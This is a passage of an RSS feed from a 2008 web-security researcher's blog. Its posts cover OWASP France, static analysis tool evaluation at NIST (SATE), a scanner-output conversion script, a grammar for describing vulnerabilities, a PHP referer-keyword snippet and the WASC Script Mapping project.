      <wfw:comment>http://rgaucher.info/post/2008/02/25/Code-review%3A-facilitate-the-SCA-outputs-analysis#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/105</wfw:commentRss>
      </item>
    
  <item>
    <title>OWASP France Chapter &amp; OWASP Top Ten 2007 French</title>
    <link>http://rgaucher.info/post/2008/02/21/OWASP-France-Chapter-OWASP-Top-Ten-2007-French</link>
    <guid isPermaLink="false">urn:md5:57d3ef4e485d2b9f888e0814b8d7f22f</guid>
    <pubDate>Thu, 21 Feb 2008 09:28:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>France</category><category>OWASP</category><category>Top Ten</category>    
    <description>    &lt;p&gt;Just to say that I am please to see the OWASP Chapter France starting again thanks to &lt;a href=&quot;http://blog.gioria.org/&quot; hreflang=&quot;en&quot;&gt;Sebastien Gioria&lt;/a&gt;! I hope that this is gonna last for good and that we will be able to spread the &lt;em&gt;web security &amp;amp; tools&lt;/em&gt; in France. Even though I am not in France anymore, I am please to be part of the board. What I would like to do so far, is to talk with engineering school, universities, etc in order to make web security as part of classes when students are learning about web development for instance (or just development).
&lt;br /&gt;
&lt;br /&gt;
In the same time, we are releasing the translation of the &lt;a href=&quot;https://www.owasp.org/index.php/Image:OWASP_Top_10_2007_-_French.pdf&quot; hreflang=&quot;en&quot;&gt;OWASP Top Ten 2007 in French&lt;/a&gt;. The document by itself is a really good content! The French translation has been done while trying to keep the original ideas of the Top Ten.&lt;/p&gt;



&lt;p&gt;You can download the OWASP Top Ten 2007 in French on the &lt;a href=&quot;http://www.owasp.org/index.php/France&quot; hreflang=&quot;en&quot;&gt;OWASP Chapter France&lt;/a&gt; web page. As usual, every comments, ideas etc, about the role of OWASP in France are more than welcome!&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/21/OWASP-France-Chapter-OWASP-Top-Ten-2007-French#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/02/21/OWASP-France-Chapter-OWASP-Top-Ten-2007-French#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/104</wfw:commentRss>
      </item>
    
  <item>
    <title>Code review tools: the missing link (so far)</title>
    <link>http://rgaucher.info/post/2008/02/19/Code-review-tools%3A-the-missing-link-so-far</link>
    <guid isPermaLink="false">urn:md5:de1ddbc5e4e3eb5b045c4bfdfa478e92</guid>
    <pubDate>Tue, 19 Feb 2008 23:35:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>secure programming</category><category>source code scanners</category><category>static analysis</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;First of all, I do not consider myself as a pen-tester so maybe you will find these ideas irrelevant, stupid or useless... I have been doing some pen-testing though, whether it was for some friends, for fun (yeah, it's good to learn like that) or for profit (well, it was kinda part of my job for SATE 2008) so I'm not that n00b but I am not a pen-tester. I am not an expert in pen-testing and code review. But when I do some, at work, I have the chance to be able to use commercial tools — I say it's a chance because there is a real benefit of using such tools. In fact, tools are good, way better than me, they can find thousands of vulnerabilities in minutes... I cannot; I need way more time. But here is a little feedback vendors can have from me, utilizing the tools.&lt;/p&gt;



&lt;p&gt;The tools are amazing to find some defects, saying that something doesn't look good to them and giving you a stack of 42 function calls. Eh! that's part of the job to examine this bunch of function in order to see why the tool reported this as a vulnerability.
So, examining the functions means looking how the data will be transformed/transported from a point to one another. And I cannot tell you the pain it is to do that for the dozens of reported vulnerabilities where the correctness of the tool is not obvious (at least for me).&lt;/p&gt;



&lt;p&gt;While talking about that with Vadim today, I thought of a tool that would be awesome for a code reviewer in order to facilitate the “correctness tests”. The idea is really simple and maybe the tool already exists — if so, please give me a link! — but what if you had a kinda debugger where you were able to select the point where you want to start the dynamic evaluation of a piece of code (the Entry Point) and the point where you want to finish and see the result (the Break Point). What is the difference with a typical debugger? The possibility to do such in relation with the source code. In the interface of the source code analyzer, I would be able to select the entry point I want to start my dynamic analysis and the break point. I would launch the dynamic evaluation which would go to the state of the entry point (maybe by asking how to go there... there is often multiple paths to go to one branch of the code), then I would do the modification I want (trying to bypass some filters for example with some weird strings) and the dynamic engine would run the piece of code until the Break Point; then look at the result.&lt;/p&gt;



&lt;p&gt;What I just described is a really narrow view of such combination of static/dynamic analysis, by doing a step-by-step modification of the values. We could have information of the privilege state of the current user for a web application, would be able to replay easily a la web apps scanners, etc.&lt;/p&gt;



&lt;p&gt;I know that building such a tool is doable. Hard but definitely doable. So far, the toughest point I saw is to be able to arrive at a given state of the program. You would need to do a binary coverage and looking at the branches to take, recording these and mapping the records with the source code. Once you're done with it, you're ready for modifying the parameters, and to look at the results. Yes, the main difference with a debugger is to come in a given state referenced by a function call. But wouldn't this help you to figure out the correctness of a given piece of code?&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/19/Code-review-tools%3A-the-missing-link-so-far#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/02/19/Code-review-tools%3A-the-missing-link-so-far#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/103</wfw:commentRss>
      </item>
    
  <item>
    <title>SATE ready to go + weaknesses walker + Shmoo + 100</title>
    <link>http://rgaucher.info/post/2008/02/14/SATE-is-ready-to-go</link>
    <guid isPermaLink="false">urn:md5:4fff60faaa5d26dca41d2a545e99b101</guid>
    <pubDate>Thu, 14 Feb 2008 19:14:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>Coverage</category><category>SAMATE</category><category>SATE</category><category>source code scanners</category><category>static analysis</category><category>Vulnerabilities</category><category>weaknesses walker</category>    
    <description>    &lt;p&gt;Tomorrow will start &lt;a href=&quot;http://samate.nist.gov/index.php/SATE&quot; hreflang=&quot;en&quot;&gt;SATE 2008&lt;/a&gt;: the registered participants will be able to get the test cases associated to the tracks they want to participate in. They will have until the 29th of February to send the report of the tools. We are all pretty excited here before the start. It was a real rush for finding the test cases that we think are good for such an event...&lt;/p&gt;



&lt;p&gt;Anyway, just a news to release a python script which is definitely SATE oriented. The idea is only to convert the output of some free tools into the SATE XML format. The script is handling &lt;a href=&quot;http://www.dwheeler.com/flawfinder/&quot; hreflang=&quot;en&quot;&gt;Flawfinder&lt;/a&gt;, &lt;a href=&quot;http://www.cigital.com/its4/&quot; hreflang=&quot;en&quot;&gt;ITS4&lt;/a&gt; and &lt;a href=&quot;http://www.fortifysoftware.com/security-resources/rats.jsp&quot; hreflang=&quot;en&quot;&gt;RATS&lt;/a&gt;. It can also look at the &lt;a href=&quot;http://nvd.nist.gov&quot; hreflang=&quot;en&quot;&gt;NVD&lt;/a&gt; for the product and the version in order to retrieve the known vulnerabilities.&lt;/p&gt;



&lt;p&gt;You can download the script &lt;em&gt;weaknesses walker&lt;/em&gt; as a &lt;a href=&quot;http://rgaucher.info/beta/ww/ww.zip&quot; hreflang=&quot;en&quot;&gt;zip file&lt;/a&gt; or just the &lt;a href=&quot;http://rgaucher.info/beta/ww/ww.pys&quot; hreflang=&quot;en&quot;&gt;python script&lt;/a&gt; (you will need &lt;a href=&quot;http://rgaucher.info/beta/wwwCall.zip&quot; hreflang=&quot;en&quot;&gt;wwwCall&lt;/a&gt; for the NVD scrapping part; wwwCall is also included in the zip).&lt;/p&gt;



&lt;p&gt;Example how to use ww with flawfinder:&lt;/p&gt;
&lt;pre&gt;
./ww.py --tool flawfinder --file myproject.out.xml --format sate /home/romain/myproject
&lt;/pre&gt;

&lt;p&gt;or for the NVD scrapper:&lt;/p&gt;
&lt;pre&gt;
./ww.py --vdb winamp 5.2 --file winamp_5.2.nvd.xml
&lt;/pre&gt;



&lt;p&gt;For the next version of ww, I may add the possiblity to play with the SATE XML format itself, such as merging the results of different tools with comparison of report or even just the report of multiple tools...&lt;/p&gt;





&lt;p&gt;Also, if you are coming downtown DC this weekend for &lt;a href=&quot;http://shmoocon.org&quot; hreflang=&quot;en&quot;&gt;ShmooCon&lt;/a&gt; or even &lt;a href=&quot;http://www.blackhat.com&quot; hreflang=&quot;en&quot;&gt;BlackHat DC 2008&lt;/a&gt;, if you wanna have a beer just drop me a mail. I wasn't able to find a ticket for Shmoo so will not go, but I will meet with dre and marcin from &lt;a href=&quot;http://www.tssci-security.com&quot; hreflang=&quot;en&quot;&gt;ts/sci security&lt;/a&gt;... so if you are around, just tell me I would be happy to meet more sec. people&lt;/p&gt;




&lt;p&gt;The last thing is that this post is my number &lt;strong&gt;100&lt;/strong&gt;!&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/14/SATE-is-ready-to-go#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/02/14/SATE-is-ready-to-go#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/102</wfw:commentRss>
      </item>
    
  <item>
    <title>NIST Static Analysis Tool Exposition: No, this is not a competition!</title>
    <link>http://rgaucher.info/post/2008/02/05/NIST-Static-Analysis-Tool-Exposition%3A-No-this-is-not-a-competition</link>
    <guid isPermaLink="false">urn:md5:94d2f52015bb5230de280f04dc7a998d</guid>
    <pubDate>Tue, 05 Feb 2008 08:18:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>Evaluation</category><category>metrics</category><category>News</category><category>SAMATE</category><category>source code scanners</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;I've was happy yesterday when I learned that Fortify will participate to the &lt;a href=&quot;http://samate.nist.gov/index.php/SATE&quot; hreflang=&quot;en&quot;&gt;Static Analysis Tool Exposition&lt;/a&gt; (SATE) we are currently organizing. And even more when I saw this morning Brian Chess &lt;a href=&quot;http://extra.fortifysoftware.com/blog/2008/02/sate.html&quot; hreflang=&quot;en&quot;&gt;blogging about SATE&lt;/a&gt;.&lt;/p&gt;



&lt;p&gt;We've been working on SATE since our last &lt;a href=&quot;http://samate.nist.gov/index.php/SASII&quot; hreflang=&quot;en&quot;&gt;Static Analysis Summit&lt;/a&gt; and, helped with a couple of existing exposition already existing at NIST such as &lt;a href=&quot;http://trec.nist.gov&quot; hreflang=&quot;en&quot;&gt;TREC&lt;/a&gt; etc. for the guidelines, the rules and so on.
But even so, we had some example, we had three difficult tasks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make people agree on the fact that it is not a competition&lt;/li&gt;
&lt;li&gt;Make vendors participating (if you are a vendor, reading this please, subscribe for participating at SATE)&lt;/li&gt;
&lt;li&gt;Choosing the test cases&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;The last point is not solved yet, and even, none of them can be considered as solved since not everybody is participating to the 2008 exposition (which has 2 tracks: C and Java), but we've been seeking for good test cases in C and Java. Good test cases... means not too big, not too small and having &lt;strong&gt;exploitable vulnerabilities&lt;/strong&gt;. By the way, if any of the readers of this blog have some idea of Java or C test cases that would be good test cases, please, send me links, ideas or whatever :)&lt;/p&gt;



&lt;p&gt;Anyway, SATE is on his way, I hope more tool makers will &lt;a href=&quot;http://samate.nist.gov/index.php/SATE#Call_for_participation&quot; hreflang=&quot;en&quot;&gt;sign up&lt;/a&gt; for participating at this experiment.&lt;/p&gt;



&lt;p&gt;Maybe another point, due to my usual blogging on web security and web apps security scanners, if SATE is a success as we expect it to be, we may open new tracks for... web application security scanners and I would love to have special tracks for security metrics (I want to show up!! :p)&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/05/NIST-Static-Analysis-Tool-Exposition%3A-No-this-is-not-a-competition#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/02/05/NIST-Static-Analysis-Tool-Exposition%3A-No-this-is-not-a-competition#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/101</wfw:commentRss>
      </item>
    
  <item>
    <title>Talk: Problems and solutions for testing web application security scanners</title>
    <link>http://rgaucher.info/post/2008/01/31/Talk%3A-Problems-and-solutions-for-testing-web-application-security-scanners</link>
    <guid isPermaLink="false">urn:md5:1cdc35091413c4a4767813e81cc1f3c5</guid>
    <pubDate>Thu, 31 Jan 2008 18:06:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Attack surface</category><category>Coverage</category><category>metrics</category><category>SAMATE</category><category>testing</category>    
    <description>    &lt;p&gt;I just came back from the DHS Forum on the Software Assurance where I gave a talk about testing web application security scanners, and especially, the problems and some solutions for testing the scanners.&lt;/p&gt;


&lt;p&gt;The presentation is an introduction to a methodology I've been developing at NIST for a while now. This presentation is the follow-up of the &lt;a href=&quot;http://rgaucher.info/work/NIST/Verify07_Slides_Fong-Gaucher.pdf&quot; hreflang=&quot;en&quot;&gt;Verify Conference slides&lt;/a&gt; and also the talk I gave at HICSS (I will release the slides from this presentation when engadget.com will fix the vulnerabilities that I used in order to show the different variation of attacks for introducing the &lt;a href=&quot;http://rgaucher.info/post/2007/02/07/How-you-should-design-a-test-suite-for-Web-Apps-Scanners&quot; hreflang=&quot;en&quot;&gt;level of defenses&lt;/a&gt;)&lt;/p&gt;



&lt;p&gt;You can reach the &lt;a href=&quot;http://docs.google.com/Presentation?id=ddzjfwxc_51g8tphkg7&quot; hreflang=&quot;en&quot;&gt;DHS Forum slides as a Google presentation&lt;/a&gt;.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/31/Talk%3A-Problems-and-solutions-for-testing-web-application-security-scanners#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/31/Talk%3A-Problems-and-solutions-for-testing-web-application-security-scanners#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/100</wfw:commentRss>
      </item>
    
  <item>
    <title>Definition parsing: first step done</title>
    <link>http://rgaucher.info/post/2008/01/30/Definition-parsing%3A-first-step-done</link>
    <guid isPermaLink="false">urn:md5:e37067513f5a7a286e1757340659f5aa</guid>
    <pubDate>Wed, 30 Jan 2008 15:37:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>PHP</category><category>source code scanners</category><category>testing</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;Since I started to work on my static analyzer using &lt;a href=&quot;http://trac2.assembla.com/php-ast&quot; hreflang=&quot;en&quot;&gt;php-ast/oracle&lt;/a&gt;, I realized that looking for vulnerabilities need a lot of hard coded/database entries. This is really sad, since, in order to get something correct you would need a huge knowledge database.
So I started thinking of generalization of vulnerabilities and way to express it. It's tough. Really.&lt;/p&gt;


&lt;p&gt;The most realistic (if I can say so) idea I had is to actually handle vulnerabilities definition using a given taxonomy. I still need a lot of knowledge, especially on the language (PHP) I'm analyzing, especially the output functions, global variable, filters, resources etc. but the big advantage with rules is that you can generalize the definition.&lt;/p&gt;


&lt;p&gt;Anyway, I started dealing with natural language, will try to make this fitting into my model in order to communicate with the future static analyzer engine of &lt;a href=&quot;http://trac2.assembla.com/php-ast&quot; hreflang=&quot;en&quot;&gt;php-oracle&lt;/a&gt;... and thanks to the &lt;a href=&quot;http://aima.cs.berkeley.edu/&quot; hreflang=&quot;en&quot;&gt;AIMA project&lt;/a&gt;, I was able to get some fast results on the processing:&lt;/p&gt;

&lt;pre&gt;
# source definition:
unvalidated input go to sink in html context
# parse tree:
2 possiblities
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
      23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
       ('Preposition', 'to')
      35PP[]
     
    25VP[]
      68NP[('Name', 'html'), ('Noun', 'context')][]
     ('Preposition', 'in')
    58PP[]
   
  28VP[]

08S[]
##
  02NP[('Adjective', 'unvalidated'), ('Noun', 'input')][]
    23VP[('Verb', 'go')][]
        45NP[('Noun', 'sink')][]
          68NP[('Name', 'html'), ('Noun', 'context')][]
         ('Preposition', 'in')
        58PP[]
       
      48NP[]
     ('Preposition', 'to')
    38PP[]
   
  28VP[]
 
08S[]
&lt;/pre&gt;


&lt;p&gt;And the taxonomy I used is the following (which needs to be extended to handle more than &amp;quot;input validation&amp;quot;):&lt;/p&gt;
&lt;pre&gt;
IV = Grammar('InputValidation',
	Rules(
		S = 'NP VP | S Conjunction S',
		NP = 'Pronoun | Noun | Article Noun | Adjective Noun | NP PP | NP RelClause | Name Noun',
		VP = 'Verb | VP NP | VP Adjective | VP PP',
		PP = 'Preposition NP',
		RelClause = 'That VP'
	),
	Lexicon(
		Noun = &amp;quot;input | output | privilege | context | header | user | sink | file&amp;quot;,
		Verb = &amp;quot;is | go | write | print&amp;quot;,
		Adjective = &amp;quot;validated | unvalidated | asynchronous&amp;quot;,
		Pronoun = &amp;quot;me | you | i | it&amp;quot;,
		Name = &amp;quot;html | database | http | sql | ldap&amp;quot;,
		Article = &amp;quot;the | a | an&amp;quot;,
		Preposition = &amp;quot;to | in | on&amp;quot;,
		Conjunction = &amp;quot;and | or | but | not&amp;quot;,
		That = &amp;quot;that&amp;quot;
	))
&lt;/pre&gt;



&lt;p&gt;Now, I &lt;em&gt;only&lt;/em&gt; have to finish my model of a vulnerability (I do not think about building something really general, but a model that can handle injection flaws, privilege, communication would be awesome). Once this is finish, lots of things would be possible such as generating attacks directly from the definition (this would be more like a generalized attack generator) and vulns. checkers for the source code analyzer.&lt;/p&gt;



&lt;p&gt;I know this is a kinda tough project and I really have lots of other things to do, but I really want to give this a try... just to see where it goes...&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/30/Definition-parsing%3A-first-step-done#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/30/Definition-parsing%3A-first-step-done#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/99</wfw:commentRss>
      </item>
    
  <item>
    <title>Search engine keywords extraction</title>
    <link>http://rgaucher.info/post/2008/01/29/Search-engine-keywords-extraction</link>
    <guid isPermaLink="false">urn:md5:afe2ffb91c2395cb6d208d7a397785f2</guid>
    <pubDate>Tue, 29 Jan 2008 10:24:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>fuckthespam</category><category>PHP</category><category>SEO</category>    
    <description>    &lt;p&gt;For &lt;a href=&quot;http://fuckthespam.com&quot; hreflang=&quot;en&quot;&gt;fuckthespam!&lt;/a&gt;, I wanted to add a nice feature due to the content of this website: a listing of keywords that people used to come on this website.&lt;/p&gt;



&lt;p&gt;Well, the code is pretty simple bust just wanted to share it; it's working for google, msn and yahoo (the 3 most important search engine), I don't really care about having everything and just wanted to share this PHP snippet.&lt;/p&gt;

&lt;pre&gt;
$referer = $_SERVER[&amp;quot;HTTP_REFERER&amp;quot;];
if (strpos($referer,&amp;quot;search&amp;quot;) &amp;gt; 0) {
	// look for google, yahoo and MSN
	$key = 0;
	if (strpos($referer,&amp;quot;google.&amp;quot;) &amp;gt; 0 || strpos($referer,&amp;quot;msn.&amp;quot;) &amp;gt; 0)
		$key = &amp;quot;q&amp;quot;;
	else if (strpos($referer,&amp;quot;yahoo.&amp;quot;) &amp;gt; 0)
		$key = &amp;quot;p&amp;quot;;

	if ($key) {
		$parse_url = parse_url (urldecode($referer));
		if (array_key_exists(&amp;quot;query&amp;quot;,$parse_url)) {
			$query = $parse_url['query'];
			// extract (.+)$key=(.*)&amp;amp;
			$t = explode(&amp;quot;&amp;amp;&amp;quot;, $query);
			foreach($t as $k=&amp;gt;$e) {
				if ($e[0] == $key &amp;amp;&amp;amp; $e[1] == '=') {
					$k = &amp;quot;$key=&amp;quot;;
					$keyword = str_replace($k,'',$e);
					if (strlen($keyword) &amp;gt; 2) {
						// $keyword is actually the whole content of the search
					}
					break;
				}
			}
		}
	}
}
&lt;/pre&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/29/Search-engine-keywords-extraction#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/29/Search-engine-keywords-extraction#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/98</wfw:commentRss>
      </item>
    
  <item>
    <title>How come I didn't know this resource!!</title>
    <link>http://rgaucher.info/post/2008/01/28/How-come-I-didnt-know-this-resource</link>
    <guid isPermaLink="false">urn:md5:f99fcb2ce86e88511f65129c05dd6cee</guid>
    <pubDate>Mon, 28 Jan 2008 10:21:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>link</category><category>testing</category>    
    <description>    &lt;p&gt;While surfing the web, I found this website: &lt;a href=&quot;http://opensourcetesting.org/&quot; hreflang=&quot;en&quot;&gt;http://opensourcetesting.org/&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Just the perfect repository of testing tools, there are a bunch of them on different testing area (security, functional, quality, unit testing and so on!).&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Edit: Added in my &lt;a href=&quot;http://rgaucher.info/planet&quot; hreflang=&quot;en&quot;&gt;security planet&lt;/a&gt;!&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/28/How-come-I-didnt-know-this-resource#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/28/How-come-I-didnt-know-this-resource#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/97</wfw:commentRss>
      </item>
    
  <item>
    <title>Protection against spam bot | fuckthespam.com</title>
    <link>http://rgaucher.info/post/2008/01/25/Protecting-against-spam-bot-final-list</link>
    <guid isPermaLink="false">urn:md5:cf72d065853a0d0da5e65286918dafff</guid>
    <pubDate>Fri, 25 Jan 2008 17:19:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>Spam</category>    
    <description>    &lt;p&gt;I used to work a bit on &lt;a href=&quot;http://rgaucher.info/tag/Spam&quot; hreflang=&quot;en&quot;&gt;spam bot protection&lt;/a&gt;, whether it is for protecting the email disclosure or the spam in the website itself.
I then, started a stupid website called &lt;a href=&quot;http://fuckthespam.com&quot; hreflang=&quot;en&quot;&gt;http://fuckthespam.com&lt;/a&gt; where I will gather some spam (the funny one) but also listing some &lt;a href=&quot;http://fuckthespam.com/?info&quot; hreflang=&quot;en&quot;&gt;anti-spam techniques&lt;/a&gt; :)&lt;/p&gt;



&lt;p&gt;Hopefully I will be able to also make an history of spam to see how techniques and also content evolved.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/25/Protecting-against-spam-bot-final-list#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/25/Protecting-against-spam-bot-final-list#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/96</wfw:commentRss>
      </item>
    
  <item>
    <title>PHP Source Code Analyzer</title>
    <link>http://rgaucher.info/post/2008/01/22/PHP-Source-Code-Analyzer</link>
    <guid isPermaLink="false">urn:md5:a726cb96c6476142db5bff0d6d0c2fd9</guid>
    <pubDate>Tue, 22 Jan 2008 20:46:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tools</category>
        <category>Attack surface</category><category>Grabber</category><category>PHP</category><category>PHP-Oracle</category><category>PHP-Sat</category><category>source code scanners</category><category>static analysis</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;Months ago, I was talking about and doing some small &lt;a href=&quot;http://rgaucher.info/b/index.php/post/2007/05/24/PHP-Source-Code-Security-Scanners-basic-test&quot; hreflang=&quot;en&quot;&gt;tests with the php source code security analyzer&lt;/a&gt; that I was able to find on the web.&lt;/p&gt;




&lt;p&gt;I was able to quickly test the new &lt;a href=&quot;http://fortifysoftware.com&quot; hreflang=&quot;en&quot;&gt;Fortify SCA 5.0&lt;/a&gt; which is handling PHP application now. I can tell you that I am really exciting about this tool. First of all, it beats from far all the tools I've tested previously (for PHP), which is fair since it's a commercial tool.&lt;/p&gt;


&lt;p&gt;But what I'm really excited about now is that I will be able to make more tests on my test suites, compare with &lt;a href=&quot;http://trac2.assembla.com/php-ast/wiki/Metrics&quot; hreflang=&quot;en&quot;&gt;my security metrics&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://trac2.assembla.com/php-ast&quot; hreflang=&quot;en&quot;&gt;basic security analyzer&lt;/a&gt;, looking at the behavior of SCA tools when &lt;a href=&quot;http://rgaucher.info/b/index.php/post/2007/09/04/Source-Code-Obfuscation&quot; hreflang=&quot;en&quot;&gt;the source code is obfuscated&lt;/a&gt;, and so on. You're on the good track Fortify, now, open an API and I will be able to make an hybrid tool...&lt;/p&gt;




&lt;p&gt;Since I also have some plan of testing real PHP applications with both testing approaches (static/dynamic), I'd like to see the difference of application coverage, vulnerability finding and false-positive rates (yeah, the last one is obvious, but still interesting).&lt;/p&gt;




&lt;p&gt;I'm also glad to see that vendors are taking PHP as a serious language and not only for script kiddies.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/22/PHP-Source-Code-Analyzer#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/22/PHP-Source-Code-Analyzer#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/95</wfw:commentRss>
      </item>
    
  <item>
    <title>Leaving for Hawaii, HICSS conference</title>
    <link>http://rgaucher.info/post/2008/01/05/Leaving-for-Hawaii-HICSS-conference</link>
    <guid isPermaLink="false">urn:md5:e91a081146dd46586dd71ad79842631a</guid>
    <pubDate>Sat, 05 Jan 2008 11:55:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
            
    <description>    &lt;p&gt;Tomorrow, I'm gonna fly to Hawaii, for the &lt;a href=&quot;http://www.hicss.hawaii.edu/&quot; hreflang=&quot;en&quot;&gt;HICSS-41&lt;/a&gt; conference in the Big Island. I will give a talk about something I did almost one year ago: &lt;a href=&quot;http://samate.nist.gov/docs/wa_paper2.pdf&quot; hreflang=&quot;en&quot;&gt;building a test suite for web application scanner&lt;/a&gt;. This work has been done at NIST for the Web Application Security Scanner project at &lt;a href=&quot;http://samate.nist.gov&quot; hreflang=&quot;en&quot;&gt;SAMATE&lt;/a&gt;.&lt;/p&gt;



&lt;p&gt;It's kinda old work, but still, talking about levels of defense for modeling the different possible defense mechanisms that we can find a web application. This allow to test the web apps scanner with more realistic flaws and see how they behave with some few protections...&lt;/p&gt;



&lt;p&gt;Anyway, I think I will have good time there, and also good talks to fellow...&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/01/05/Leaving-for-Hawaii-HICSS-conference#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/01/05/Leaving-for-Hawaii-HICSS-conference#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/94</wfw:commentRss>
      </item>
    
  <item>
    <title>[WASC] Release of Script Mapping Project</title>
    <link>http://rgaucher.info/post/2007/12/10/%5BWASC%5D-Release-of-Script-Mapping-Project</link>
    <guid isPermaLink="false">urn:md5:ddc824775d85b082169ee484c5f82ad4</guid>
    <pubDate>Mon, 10 Dec 2007 11:14:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>Internet Explorer</category><category>JavaScript</category><category>News</category><category>Script Mapping</category><category>WASC</category>    
    <description>    &lt;p&gt;The &lt;a href=&quot;http://webappsec.org&quot; hreflang=&quot;en&quot;&gt;Web Application Security Consortium&lt;/a&gt; is pleased to announce the first results of the
Script Mapping project! At this stage in the project we were able to cover most of the
test cases for Internet Explorer 7, Firefox 2 and Safari 3.&lt;/p&gt;


&lt;p&gt;The results can be found on the project page:
&lt;a href=&quot;http://www.webappsec.org/projects/scriptmapping/&quot; hreflang=&quot;en&quot;&gt;http://www.webappsec.org/projects/scriptmapping/&lt;/a&gt;&lt;/p&gt;


&lt;h3&gt;Project Description:&lt;/h3&gt;


&lt;p&gt;The purpose of the Script Mapping Project is to come up with an
exhaustive list of vectors to execute script within a web page without
the explicit use of &amp;lt;script&amp;gt; tags. This data can be useful when testing
poorly implemented Cross-site Scripting blacklist filters, for those wishing
to build an html white list system, as well as other uses.&lt;/p&gt;


&lt;p&gt;WASC is actively seeking volunteers from various sections of the
community including penetration testers, security researchers,
and developers to contribute to this project.&lt;/p&gt;


&lt;p&gt;If you would like to be involved with the project or if you have comments about the
results, test cases etc., please contact me.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/12/10/%5BWASC%5D-Release-of-Script-Mapping-Project#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/12/10/%5BWASC%5D-Release-of-Script-Mapping-Project#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/93</wfw:commentRss>
      </item>
    
  <item>
    <title>&quot;My Security Planet&quot;</title>
    <link>http://rgaucher.info/post/2007/12/08/My-Security-Planet</link>
    <guid isPermaLink="false">urn:md5:2a69ca1a99c2628e3ef7b6c05c4ee092</guid>
    <pubDate>Sat, 08 Dec 2007 19:43:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>blogs</category><category>security</category>    
    <description>    &lt;p&gt;I love iGoogle. I have a couple of widgets and my RSS feeds in it... That's actually the problem, I had too much feeds, so I decided to create my own &amp;quot;planet&amp;quot; in order to have just one feed with all security blogs I'm reading.&lt;/p&gt;



&lt;p&gt;You can reach it here if you have the same taste as mine: &lt;a href=&quot;http://rgaucher.info/planet&quot; hreflang=&quot;en&quot;&gt;http://rgaucher.info/planet&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;I know that planet-security is pretty much doing the same, but I don't like the interface of this website and it doesn't have all the feeds I'm following...&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/12/08/My-Security-Planet#comment-form</comments>
